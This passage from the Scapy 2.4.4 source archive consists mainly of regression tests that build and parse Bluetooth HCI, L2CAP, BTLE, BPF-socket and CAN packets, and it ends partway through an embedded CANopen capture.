ans: sent = pkt[0] received = pkt[1] res = (received.time - sent.sent_time) average += res print("%s %s : %s" % (received.time, sent.sent_time, res)) print("AVERAGE RESPONSE TIME: %ss" % (average / len(ans))) scapy-2.4.4/test/bluetooth.uts000066400000000000000000000350651372370053500163770ustar00rootroot00000000000000% Scapy Bluetooth layer tests + Bluetooth tests = HCI layers # a huge packet with all classes in it! pkt = HCI_ACL_Hdr()/HCI_Cmd_Complete_Read_BD_Addr()/HCI_Cmd_Connect_Accept_Timeout()/HCI_Cmd_Disconnect()/HCI_Cmd_LE_Connection_Update()/HCI_Cmd_LE_Create_Connection()/HCI_Cmd_LE_Create_Connection_Cancel()/HCI_Cmd_LE_Host_Supported()/HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply()/HCI_Cmd_LE_Long_Term_Key_Request_Reply()/HCI_Cmd_LE_Read_Buffer_Size()/HCI_Cmd_LE_Set_Advertise_Enable()/HCI_Cmd_LE_Set_Advertising_Data()/HCI_Cmd_LE_Set_Advertising_Parameters()/HCI_Cmd_LE_Set_Random_Address()/HCI_Cmd_LE_Set_Scan_Enable()/HCI_Cmd_LE_Set_Scan_Parameters()/HCI_Cmd_LE_Start_Encryption_Request()/HCI_Cmd_Read_BD_Addr()/HCI_Cmd_Reset()/HCI_Cmd_Set_Event_Filter()/HCI_Cmd_Set_Event_Mask()/HCI_Command_Hdr()/HCI_Event_Command_Complete()/HCI_Event_Command_Status()/HCI_Event_Disconnection_Complete()/HCI_Event_Encryption_Change()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_Event_Number_Of_Completed_Packets()/HCI_Hdr()/HCI_LE_Meta_Advertising_Reports()/HCI_LE_Meta_Connection_Complete()/HCI_LE_Meta_Connection_Update_Complete()/HCI_LE_Meta_Long_Term_Key_Request() assert HCI_ACL_Hdr in pkt.layers() assert HCI_Cmd_Complete_Read_BD_Addr in pkt.layers() assert HCI_Cmd_Connect_Accept_Timeout in pkt.layers() assert HCI_Cmd_Disconnect in pkt.layers() assert HCI_Cmd_LE_Connection_Update in pkt.layers() assert HCI_Cmd_LE_Create_Connection in pkt.layers() assert HCI_Cmd_LE_Create_Connection_Cancel in pkt.layers() assert HCI_Cmd_LE_Host_Supported in pkt.layers() assert HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply in pkt.layers() assert HCI_Cmd_LE_Long_Term_Key_Request_Reply in pkt.layers() assert HCI_Cmd_LE_Read_Buffer_Size in pkt.layers() assert HCI_Cmd_LE_Set_Advertise_Enable in pkt.layers() assert HCI_Cmd_LE_Set_Advertising_Data in pkt.layers() assert HCI_Cmd_LE_Set_Advertising_Parameters in pkt.layers() assert HCI_Cmd_LE_Set_Random_Address in pkt.layers() assert HCI_Cmd_LE_Set_Scan_Enable in pkt.layers() assert HCI_Cmd_LE_Set_Scan_Parameters in pkt.layers() assert HCI_Cmd_LE_Start_Encryption_Request in pkt.layers() assert HCI_Cmd_Read_BD_Addr in pkt.layers() assert HCI_Cmd_Reset in pkt.layers() assert HCI_Cmd_Set_Event_Filter in pkt.layers() assert HCI_Cmd_Set_Event_Mask in pkt.layers() assert HCI_Command_Hdr in pkt.layers() assert HCI_Event_Command_Complete in pkt.layers() assert HCI_Event_Command_Status in pkt.layers() assert HCI_Event_Disconnection_Complete in pkt.layers() assert HCI_Event_Encryption_Change in pkt.layers() assert HCI_Event_Hdr in pkt.layers() assert HCI_Event_LE_Meta in pkt.layers() assert HCI_Event_Number_Of_Completed_Packets in pkt.layers() assert HCI_Hdr in pkt.layers() assert HCI_LE_Meta_Advertising_Reports in pkt.layers() assert HCI_LE_Meta_Connection_Complete in pkt.layers() assert HCI_LE_Meta_Connection_Update_Complete in pkt.layers() assert HCI_LE_Meta_Long_Term_Key_Request in pkt.layers() + Bluetooth Transport Layers = Test HCI_PHDR_Hdr pkt = HCI_PHDR_Hdr()/HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_InfoReq() assert raw(pkt) == b'\x00\x00\x00\x00\x02\x00\x00\n\x00\x06\x00\x05\x00\n\x00\x02\x00\x00\x00' pkt = HCI_PHDR_Hdr(raw(pkt)) assert HCI_Hdr in pkt assert L2CAP_InfoReq in pkt + HCI Commands = LE Create Connection # Request data cmd = HCI_Hdr(hex_bytes("010d2019600060000001123456677890001800280000002a0000000000")) assert(HCI_Cmd_LE_Create_Connection in cmd) assert(cmd[HCI_Cmd_LE_Create_Connection].paddr == '90:78:67:56:34:12') assert(cmd[HCI_Cmd_LE_Create_Connection].patype == 1) # Response data pending = HCI_Hdr(hex_bytes("040f0400020d20")) assert(pending.answers(cmd)) complete = HCI_Hdr(hex_bytes("043e1301020000000112345667789000000000000000")) assert(HCI_LE_Meta_Connection_Complete in complete) assert(complete[HCI_LE_Meta_Connection_Complete].paddr == '90:78:67:56:34:12') assert(complete.answers(cmd)) # Invalid combinations assert(not cmd.answers(cmd)) assert(not pending.answers(pending)) assert(not complete.answers(complete)) assert(not pending.answers(complete)) assert(not complete.answers(pending)) = LE Create Connection Cancel # Craft a request... expected_cmd_raw_data = hex_bytes("010e2000") cmd = HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Create_Connection_Cancel() assert(expected_cmd_raw_data == raw(cmd)) assert(raw(HCI_Hdr(expected_cmd_raw_data)) == expected_cmd_raw_data) other_raw_data = hex_bytes("01060403341213") other_cmd = HCI_Hdr(other_raw_data) # Craft a response... for p in ( HCI_Event_Command_Complete(opcode=0x200e), HCI_Event_Command_Status(opcode=0x200e), ): res = HCI_Hdr() / HCI_Event_Hdr() / p # For debugging res # Check that the response packet thinks it is an answer to the request assert(res.answers(cmd)) # Check that it self isn't a match assert(not res.answers(res)) # Check that another request wouldn't match assert(not res.answers(other_cmd)) "OK!" = Disconnect expected_cmd_raw_data = hex_bytes("01060403341213") cmd_raw_data = raw(HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Disconnect(handle=0x1234)) assert(expected_cmd_raw_data == cmd_raw_data) = LE Connection Update Command expected_cmd_raw_data = hex_bytes("0113200e47000a00140001003c000100ffff") cmd_raw_data = raw( HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Connection_Update( handle=0x47, min_interval=10, max_interval=20, latency=1, timeout=60, min_ce=1, max_ce=0xffff)) assert(expected_cmd_raw_data == cmd_raw_data) + HCI Events = LE Connection Update Event evt_raw_data = hex_bytes("043e0a03004800140001003c00") evt_pkt = HCI_Hdr(evt_raw_data) assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].handle == 0x48) assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].interval == 20) assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].latency == 1) assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].timeout == 60) + Bluetooth LE Advertising / Scan Response Data Parsing = Parse EIR_Flags, EIR_CompleteList16BitServiceUUIDs, EIR_CompleteLocalName and EIR_TX_Power_Level ad_report_raw_data = \ hex_bytes("043e2b020100016522c00181781f0201020303d9fe1409" \ "506562626c652054696d65204c452037314536020a0cde") scapy_packet = HCI_Hdr(ad_report_raw_data) assert(scapy_packet[EIR_Flags].flags == 0x02) assert(scapy_packet[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xfed9]) assert(scapy_packet[EIR_CompleteLocalName].local_name == b'Pebble Time LE 71E6') assert(scapy_packet[EIR_TX_Power_Level].level == 12) = Parse EIR_Manufacturer_Specific_Data scan_resp_raw_data = \ hex_bytes("043e2302010401be5e0eb9f04f1716ff5401005f423331" \ "3134374432343631fc00030c0000de") scapy_packet = HCI_Hdr(scan_resp_raw_data) assert(raw(scapy_packet[EIR_Manufacturer_Specific_Data].payload) == b'\x00_B31147D2461\xfc\x00\x03\x0c\x00\x00') assert(scapy_packet[EIR_Manufacturer_Specific_Data].company_id == 0x154) = Parse EIR_Manufacturer_Specific_Data with magic class ScapyManufacturerPacket(Packet): magic = b'SCAPY!' fields_desc = [ StrFixedLenField("header", magic, len(magic)), ShortField("x", None), ] class ScapyManufacturerPacket2(Packet): magic = b'!SCAPY' fields_desc = [ StrFixedLenField("header", magic, len(magic)), ShortField("y", None), ] @classmethod def magic_check(cls, payload): return payload.startswith(cls.magic) EIR_Manufacturer_Specific_Data.register_magic_payload( ScapyManufacturerPacket, lambda p: p.startswith(ScapyManufacturerPacket.magic)) EIR_Manufacturer_Specific_Data.register_magic_payload(ScapyManufacturerPacket2) # Test decode p = EIR_Hdr(b'\x0b\xff\xff\xffSCAPY!\xab\x12') p.show() assert p[EIR_Manufacturer_Specific_Data].company_id == 0xffff assert p[ScapyManufacturerPacket].x == 0xab12 p = EIR_Hdr(b'\x0b\xff\xff\xff!SCAPY\x12\x34') p.show() assert p[EIR_Manufacturer_Specific_Data].company_id == 0xffff assert p[ScapyManufacturerPacket2].y == 0x1234 # Test encode p = EIR_Hdr()/EIR_Manufacturer_Specific_Data(company_id=0xffff)/ScapyManufacturerPacket(x=0x5678) assert raw(p) == b'\x0b\xff\xff\xffSCAPY!\x56\x78' # Test bad setup try: EIR_Manufacturer_Specific_Data.register_magic_payload(conf.raw_layer) except TypeError: pass else: assert False, "expected exception" = Parse EIR_ServiceData16BitUUID d = hex_bytes("043e1902010001abcdef7da97f0d020102030350fe051650fee6c2ac") p = HCI_Hdr(d) p.show() assert p[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xfe50] assert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfe50 assert raw(p[EIR_ServiceData16BitUUID].payload) == hex_bytes("e6c2") = Basic L2CAP dissect a = L2CAP_Hdr(b'\x08\x00\x06\x00\t\x00\xf6\xe5\xd4\xc3\xb2\xa1') assert a[SM_Identity_Address_Information].address == 'a1:b2:c3:d4:e5:f6' assert a[SM_Identity_Address_Information].atype == 0 a.show() = Basic HCI_ACL_Hdr build & dissect a = HCI_Hdr()/HCI_ACL_Hdr(handle=0xf4c, PB=2, BC=2, len=20)/L2CAP_Hdr(len=16)/L2CAP_CmdHdr(code=8, len=12)/Raw("A"*12) assert raw(a) == b'\x02L\xaf\x14\x00\x10\x00\x05\x00\x08\x00\x0c\x00AAAAAAAAAAAA' b = HCI_Hdr(raw(a)) assert a == b = Complex HCI - L2CAP build a = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_ConnReq(scid=1) assert raw(a) == b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x02\x00\x04\x00\x00\x00\x01\x00' a.show() = Complex HCI - L2CAP dissect a = HCI_Hdr(b'\x02\x00\x00\x11\x00\r\x00\x05\x00\x0b\x00\t\x00\x01\x00\x00\x00debug') assert a[L2CAP_InfoResp].result == 0 assert a[L2CAP_InfoResp].data == b"debug" = Answers a = HCI_Hdr(b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x02\x00\x04\x00\x00\x00\x9a;') b = HCI_Hdr(b'\x02\x00\x00\x10\x00\x0c\x00\x05\x00\x03\x00\x08\x00\xff\xff\x9a;\x00\x00\x01\x00') assert b.answers(a) assert not a.answers(b) a = HCI_Hdr(b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x04\x00\x04\x00\x15\x00\x00\x00') b = HCI_Hdr(b'\x02\x00\x00\x0e\x00\n\x00\x05\x00\x05\x00\x06\x00\x15\x00\x00\x00\x02\x00') assert b.answers(a) assert not a.answers(b) = EIR_Hdr - HCI_LE_Meta_Advertising_Report (single report) a = HCI_Hdr()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_LE_Meta_Advertising_Reports(reports=[ HCI_LE_Meta_Advertising_Report( addr="a1:b2:c3:d4:e5:f6", data=[ EIR_Hdr()/EIR_Flags(flags=['br_edr_not_supported']), EIR_Hdr()/EIR_CompleteLocalName(local_name="scapy"), ] ) ]) assert raw(a) == b'\x04>\x16\x02\x01\x00\x00\xf6\xe5\xd4\xc3\xb2\xa1\n\x02\x01\x04\x06\tscapy\x00' b = HCI_Hdr(raw(a)) b.show() assert b[HCI_Event_Hdr].len > 0 assert b[EIR_CompleteLocalName].local_name == b"scapy" assert b[HCI_LE_Meta_Advertising_Report].addr == "a1:b2:c3:d4:e5:f6" assert a.summary() == "HCI Event / HCI_Event_Hdr / HCI_Event_LE_Meta / HCI_LE_Meta_Advertising_Reports" = EIR_Hdr - HCI_LE_Meta_Advertising_Report (duplicate reports) # When duplicate reports are allowed, there are "Connectable Unidirected # Advertising" reports, and "Scan Responses", for the same device/MAC, in the # same packet. a = HCI_Hdr()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_LE_Meta_Advertising_Reports(reports=[ HCI_LE_Meta_Advertising_Report( addr="a1:b2:c3:d4:e5:f6", data=[ EIR_Hdr()/EIR_Flags(flags=['br_edr_not_supported']), EIR_Hdr()/EIR_CompleteLocalName(local_name="scapy"), ] ), HCI_LE_Meta_Advertising_Report( type=4, # Scan Response addr="a1:b2:c3:d4:e5:f6", data=[ EIR_Hdr()/EIR_Manufacturer_Specific_Data( company_id=0xffff, )/Raw(b"ypacs"), EIR_Hdr()/EIR_TX_Power_Level(level=10), EIR_Hdr()/EIR_CompleteList128BitServiceUUIDs(svc_uuids=[ "01234567-89ab-cdef-1023-456789abcdfe", ]) ] ) ]) assert raw(a) == b'\x04>>\x02\x02\x00\x00\xf6\xe5\xd4\xc3\xb2\xa1\n\x02\x01\x04\x06\tscapy\x00\x04\x00\xf6\xe5\xd4\xc3\xb2\xa1\x1e\x08\xff\xff\xffypacs\x02\n\n\x11\x07\xfe\xcd\xab\x89gE#\x10\xef\xcd\xab\x89gE#\x01\x00' b = HCI_Hdr(raw(a)) b.show() assert b[HCI_Event_Hdr].len > 0 assert b[EIR_CompleteLocalName].local_name == b"scapy" assert b[HCI_LE_Meta_Advertising_Report].addr == "a1:b2:c3:d4:e5:f6" assert b[EIR_Manufacturer_Specific_Data].company_id == 0xffff assert raw(b[EIR_Manufacturer_Specific_Data].payload) == b"ypacs" assert b[EIR_TX_Power_Level].level == 10 assert b[EIR_CompleteList128BitServiceUUIDs].svc_uuids[0] == UUID("01234567-89ab-cdef-1023-456789abcdfe") assert a.summary() == "HCI Event / HCI_Event_Hdr / HCI_Event_LE_Meta / HCI_LE_Meta_Advertising_Reports" = ATT_Hdr - misc a = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/ATT_Hdr()/ATT_Read_By_Type_Request_128bit(uuid1=0xa14, uuid2=0xa24) a = HCI_Hdr(raw(a)) a.show() a.mysummary() assert ATT_Read_By_Type_Request_128bit in a assert not Raw in a b = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/ATT_Hdr()/ATT_Read_By_Type_Request(uuid=0xa14) b = HCI_Hdr(raw(b)) b.show() b.mysummary() assert ATT_Read_By_Type_Request in b assert not Raw in b = ATT Read_By_Type_Response pkt = HCI_Hdr(hex_bytes('0248201b001700040009070200020300002a0400020500012a0600020700042a')) assert pkt[ATT_Read_By_Type_Response].len == 7 assert len(pkt.handles) == 3 assert pkt.handles[0].handle == 0x2 assert pkt.handles[1].handle == 0x4 assert pkt.handles[2].handle == 0x6 pkt.handles[0].value == b'\x02\x03\x00\x00*' pkt.handles[1].value == b'\x02\x05\x00\x01*' pkt.handles[2].value == b'\x02\x07\x00\x04*' = L2CAP layers # a crazy packet with all classes in it! pkt = L2CAP_CmdHdr()/L2CAP_CmdRej()/L2CAP_ConfReq()/L2CAP_ConfResp()/L2CAP_ConnReq()/L2CAP_ConnResp()/L2CAP_Connection_Parameter_Update_Request()/L2CAP_Connection_Parameter_Update_Response()/L2CAP_DisconnReq()/L2CAP_DisconnResp()/L2CAP_Hdr()/L2CAP_InfoReq()/L2CAP_InfoResp() assert L2CAP_CmdHdr in pkt.layers() assert L2CAP_CmdRej in pkt.layers() assert L2CAP_ConfReq in pkt.layers() assert L2CAP_ConfResp in pkt.layers() assert L2CAP_ConnReq in pkt.layers() assert L2CAP_ConnResp in pkt.layers() assert L2CAP_Connection_Parameter_Update_Request in pkt.layers() assert L2CAP_Connection_Parameter_Update_Response in pkt.layers() assert L2CAP_DisconnReq in pkt.layers() assert L2CAP_DisconnResp in pkt.layers() assert L2CAP_Hdr in pkt.layers() assert L2CAP_InfoReq in pkt.layers() assert L2CAP_InfoResp in pkt.layers() = SM_Public_Key() tests r = raw(SM_Hdr()/SM_Public_Key(key_x="sca", key_y="py")) assert r == b'\x0csca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00py\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = SM_Hdr(r) assert SM_Public_Key in p and p.key_x[:3] == b"sca" and p.key_y[:2] == b"py" = SM_DHKey_Check() tests r = raw(SM_Hdr()/SM_DHKey_Check(dhkey_check="scapy")) assert r == b'\rscapy\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = SM_Hdr(r) assert SM_DHKey_Check in p and p.dhkey_check[:5] == b"scapy" scapy-2.4.4/test/bluetooth4LE.uts000066400000000000000000000066341372370053500167040ustar00rootroot00000000000000% Regression tests for the bluetooth4LE layer ################################## #### Bluetooth 4.0 Low Energy #### ################################## + BTLE tests = Default build a = BTLE()/BTLE_ADV()/BTLE_ADV_IND() assert raw(a) == b'\xd6\xbe\x89\x8e\x00\x06\x00\x00\x00\x00\x00\x00Z9`' = Basic dissection b = BTLE(raw(a)) assert b.crc == 0x5a3960 assert b[BTLE_ADV_IND].AdvA == '00:00:00:00:00:00' = BTLE_DATA build a = BTLE(access_addr=0)/BTLE_DATA()/"toto" a = BTLE(raw(a)) assert a[BTLE_DATA].len == 4 assert a[Raw].load == b"toto" = BTLE_DATA + EIR_ShortenedLocalName test1 = BTLE() / BTLE_ADV() / BTLE_ADV_IND() / EIR_Hdr() / EIR_ShortenedLocalName(local_name= 'wussa') test1e = BTLE(raw(test1)) assert test1e[EIR_ShortenedLocalName].local_name == b"wussa" = BTLE_DATA + CtrlPDU test2 = BTLE(access_addr=1) / BTLE_DATA() / CtrlPDU(version=7) test2e = BTLE(raw(test2)) assert test2e[CtrlPDU].version == 7 = BTLE_DATA + ATT_PrepareWriteReq test3 = BTLE(access_addr=1) / BTLE_DATA() / L2CAP_Hdr() / ATT_Hdr() / ATT_Prepare_Write_Request(gatt_handle = 0xa, data="test") test3e = BTLE(raw(test3)) assert test3e[ATT_Prepare_Write_Request].data == b"test" assert test3e[ATT_Prepare_Write_Request].gatt_handle == 0xa assert test3e[ATT_Hdr].opcode == 0x16 = BTLE layers # a crazy packet with all classes in it! pkt = BTLE()/BTLE_ADV()/BTLE_ADV_DIRECT_IND()/BTLE_ADV_IND()/BTLE_ADV_NONCONN_IND()/BTLE_ADV_SCAN_IND()/BTLE_CONNECT_REQ()/BTLE_DATA()/BTLE_PPI()/BTLE_SCAN_REQ()/BTLE_SCAN_RSP() assert BTLE in pkt.layers() assert BTLE_ADV in pkt.layers() assert BTLE_ADV_DIRECT_IND in pkt.layers() assert BTLE_ADV_IND in pkt.layers() assert BTLE_ADV_NONCONN_IND in pkt.layers() assert BTLE_ADV_SCAN_IND in pkt.layers() assert BTLE_CONNECT_REQ in pkt.layers() assert BTLE_DATA in pkt.layers() assert BTLE_PPI in pkt.layers() assert BTLE_SCAN_REQ in pkt.layers() assert BTLE_SCAN_RSP in pkt.layers() = BTLE_RF link a = BTLE_RF()/BTLE()/BTLE_ADV()/BTLE_SCAN_REQ() a.ScanA = "aa:aa:aa:aa:aa:aa" a.AdvA = "bb:bb:bb:bb:bb:bb" a.flags = 0x10 a.reference_access_address = 0x8e89bed6 a.noise = -90 a.signal = -75 a.rf_channel = 6 a.access_address_offenses = 10 assert raw(a) == b'\x06\xb5\xa6\n\xd6\xbe\x89\x8e\x10\x00\xd6\xbe\x89\x8e\x03\x0c\xaa\xaa\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xbb\xbb\x07\xb2a' a = BTLE_RF(raw(a)) assert a.noise == -90 assert a.signal == -75 assert a.flags == "reference_access_address_valid" assert a[BTLE_SCAN_REQ].ScanA == "aa:aa:aa:aa:aa:aa" + Specific tests after issue GH#1673 = DLT_USER0 with PPI pkt = PPI(b'\x00\x00\x18\x00\x93\x00\x00\x006u\x0c\x00\x00b\t\x00\xe1\xcf\x01\x00\xf1\xe3\x92\x00\xd6\xbe\x89\x8e@\x14M\x95P\x16\xfev\x02\x01\x1a\n\xffL\x00\x10\x05\x0b\x1c\x0e\xa86Z\xf0\x04') assert BTLE_PPI in pkt.headers[0].payload # We MUST NOT detect the BLTE link-layer at this point. This is intentionally # counter to issue 1673 -- Ubertooth One emits incorrect PCAP files. assert BTLE not in pkt = DLT_BLUETOOTH_LE_LL with PPI pkt = PPI(b'\x00\x00\x18\x00\xfb\x00\x00\x006u\x0c\x00\x00b\t\x00\xe1\xcf\x01\x00\xf1\xe3\x92\x00\xd6\xbe\x89\x8e@\x14M\x95P\x16\xfev\x02\x01\x1a\n\xffL\x00\x10\x05\x0b\x1c\x0e\xa86Z\xf0\x04') assert BTLE_PPI in pkt.headers[0].payload # Only now must we detect BTLE. assert BTLE in pkt = DLT_BLUETOOTH_LE_LL without PPI pkt = BTLE_RF(b'\x00\xc6\x80\x00\xd6\xbe\x89\x8e7\x00\xd6\xbe\x89\x8e@\x14\x03g\xa6+\xcbi\x00\x01\x1a\n\xffL\x00\x12E\x03\x18y\x9e\x96\x07\xfa%') assert BTLE_RF in pkt assert BTLE in pkt scapy-2.4.4/test/bpf.uts000066400000000000000000000102101372370053500151220ustar00rootroot00000000000000% Regression tests for Scapy BPF mode # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Addresses manipulation functions = Get the packet IPv4 address configured on conf.iface get_if_raw_addr(conf.iface) = Get the packed MAC address of conf.iface get_if_raw_hwaddr(conf.iface) = Get the packed MAC address of conf.loopback_name get_if_raw_hwaddr(conf.loopback_name) == (ARPHDR_LOOPBACK, b'\x00'*6) ############ ############ + BPF related functions = Get a BPF handler ~ needs_root from scapy.arch.bpf.supersocket import get_dev_bpf fd, _ = get_dev_bpf() = Attach a BPF filter ~ needs_root from scapy.arch.bpf.supersocket import attach_filter attach_filter(fd, "arp or icmp", conf.iface) = Get network interfaces list iflist = get_if_list() len(iflist) > 0 = Get working network interfaces ~ needs_root from scapy.arch.bpf.core import get_working_if, get_working_ifaces ifworking = get_working_ifaces() assert len(ifworking) assert get_working_if() == ifworking[0] = Get working network interfaces order import mock from scapy.arch.bpf.core import get_working_ifaces @mock.patch("scapy.arch.bpf.core.os.close") @mock.patch("scapy.arch.bpf.core.fcntl.ioctl") @mock.patch("scapy.arch.bpf.core.get_dev_bpf") @mock.patch("scapy.arch.bpf.core.get_if") @mock.patch("scapy.arch.bpf.core.get_if_list") @mock.patch("scapy.arch.bpf.core.os.getuid") def test_get_working_ifaces(mock_getuid, mock_get_if_list, mock_get_if, mock_get_dev_bpf, mock_ioctl, mock_close): mock_getuid.return_value = 0 mock_get_if_list.return_value = ['igb0', 'em0', 'msk0', 'epair0a', 'igb1', 'vlan20', 'igb10', 'igb2'] mock_get_if.return_value = (b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') mock_get_dev_bpf.return_value = (31337,) mock_ioctl.return_value = 0 mock_close.return_value = 0 return get_working_ifaces() assert test_get_working_ifaces() == ['em0', 'igb0', 'msk0', 'epair0a', 'igb1', 'igb2', 'igb10', 'vlan20'] = Misc functions ~ needs_root from scapy.arch.bpf.supersocket import isBPFSocket, bpf_select isBPFSocket(L2bpfListenSocket()) and isBPFSocket(L2bpfSocket()) and isBPFSocket(L3bpfSocket()) l = bpf_select([L2bpfSocket()]) l = bpf_select([L2bpfSocket(), sys.stdin.fileno()]) ############ ############ + BPF sockets = L2bpfListenSocket - initialization variants ~ needs_root L2bpfListenSocket() L2bpfListenSocket(iface=conf.iface) L2bpfListenSocket(promisc=True) L2bpfListenSocket(filter="icmp") L2bpfListenSocket(iface=conf.iface, promisc=True, filter="icmp") = L2bpfListenSocket - set_*() ~ needs_root s = L2bpfListenSocket() s.set_promisc(0) s.set_nonblock(1) s.set_promisc(0) s.close() s = L2bpfListenSocket() s.set_nonblock(set_flag=False) s.set_nonblock(set_flag=True) s.set_nonblock(set_flag=False) s.close() = L2bpfListenSocket - get_*() ~ needs_root s = L2bpfListenSocket() blen = s.get_blen() blen > 0 and type(blen) == int s.close() s = L2bpfListenSocket() stats = s.get_stats() len(stats) == 2 and type(stats) == tuple s.close() = L2bpfListenSocket - other methods ~ needs_root s = L2bpfListenSocket() type(s.fileno()) == int s.close() s = L2bpfListenSocket() guessed = s.guess_cls() issubclass(guessed, Packet) s.close() = L2bpfListenSocket - read failure ~ needs_root import mock @mock.patch("scapy.arch.bpf.supersocket.os.read") def _test_osread(osread): osread.side_effect = OSError() s = L2bpfListenSocket() assert s.recv_raw() == (None, None, None) _test_osread() = L2bpfSocket - nonblock_recv() ~ needs_root s = L2bpfSocket() s.nonblock_recv() s.close() = L*bpfSocket - send() ~ needs_root s = L2bpfSocket() s.send(Ether()/IP(dst="8.8.8.8")/ICMP()) s = L3bpfSocket() s.send(IP(dst="8.8.8.8")/ICMP()) s = L3bpfSocket() s.assigned_interface = conf.loopback_name s.send(IP(dst="8.8.8.8")/ICMP()) scapy-2.4.4/test/can.uts000066400000000000000000001473231372370053500151340ustar00rootroot00000000000000% Regression tests for the CAN layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Basic operations = Load module import math import random random.seed() load_layer("can", globals_dict=globals()) = Build a packet pkt = CAN(flags="error", identifier=1234, data="test") = Dissect & parse pkt = CAN(raw(pkt)) pkt.flags == "error" and pkt.identifier == 1234 and pkt.length == 4 and pkt.data == b"test" = Check flags values pkt = CAN(flags="remote_transmission_request") pkt.flags == 0x2 pkt = CAN(flags="extended") pkt.flags == 0x4 ############ ############ + Example PCAP file = Read PCAP file * From https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=CANopen.pca from io import BytesIO pcap_fd = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\xe3\x00\x00\x00\xe2\xf3mT\x93\x8c\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x073\x01\x00\x00\x00\x00\xe2\xf3mT\xae\x8c\x03\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x7f\x00\x00\x81\x00\xe2\xf3mTI\x8f\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x07B\x01\x00\x00\x00\x00\xe2\xf3mTM\x8f\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x07c\x01\x00\x00\x00\x00\xe2\xf3mTN\x8f\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x07!\x01\x00\x00\x00\x00\xf8\xf3mTv\x98\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00@\x08\x10\x00\x00\x00\x00\x00\xf8\xf3mT\x96\x98\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x7f\x00\x00A\x08\x10\x00\x15\x00\x00\x00\xf8\xf3mT\xd4\x98\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\xf8\xf3mT\x12\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mTC\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x7f\x00\x00\x00UltraHi\xf8\xf3mTx\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mT\xce\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00\xf8\xf3mT\xe0\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mT 